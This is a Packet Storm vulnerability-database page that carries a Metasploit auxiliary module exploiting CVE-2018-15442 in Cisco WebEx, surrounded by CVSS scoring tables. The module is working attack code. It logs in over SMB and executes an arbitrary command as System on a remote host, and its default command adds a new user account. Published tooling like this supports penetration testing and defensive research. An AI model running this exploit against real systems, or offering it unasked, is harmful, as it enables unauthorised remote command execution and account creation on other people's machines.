Lucene search

K
packetstormRon Bowes, metasploit.comPACKETSTORM:180809
HistoryAug 31, 2024 - 12:00 a.m.

WebEx Remote Command Execution Utility

2024-08-3100:00:00
Ron Bowes, metasploit.com
packetstormsecurity.com
12
metasploit
remote execution
cisco webex
vulnerability
remote host
smb
command
exploit
cve-2018-15442
gui
authentication

CVSS2

7.2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client::WebExec  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
# Aliases for common classes  
SIMPLE = Rex::Proto::SMB::SimpleClient  
XCEPT = Rex::Proto::SMB::Exceptions  
CONST = Rex::Proto::SMB::Constants  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WebEx Remote Command Execution Utility',  
'Description' => %q{  
This module enables the execution of a single command as System by exploiting a remote  
code execution vulnerability in Cisco's WebEx client software.  
},  
  
'Author' => [  
'Ron Bowes <[email protected]>',  
],  
  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://webexec.org'],  
['CVE', '2018-15442']  
]  
))  
  
register_options([  
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),  
OptPort.new('RPORT', [true, 'The Target port', 445]),  
OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),  
])  
end  
  
# This is the main control method  
def run_host(ip)  
@smbshare = datastore['SMBSHARE']  
@ip = ip  
  
# Try and authenticate with given credentials  
if connect  
begin  
smb_login  
rescue Rex::Proto::SMB::Exceptions::Error => autherror  
print_error("Unable to authenticate with given credentials: #{autherror}")  
return  
end  
  
command = datastore['COMMAND']  
if datastore['FORCE_GUI']  
command = "WMIC PROCESS CALL Create \"#{command}\""  
end  
  
wexec(true) do |opts|  
execute_single_command(command, opts)  
end  
  
print_good("Command completed!")  
disconnect  
end  
end  
end  
`

CVSS2

7.2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low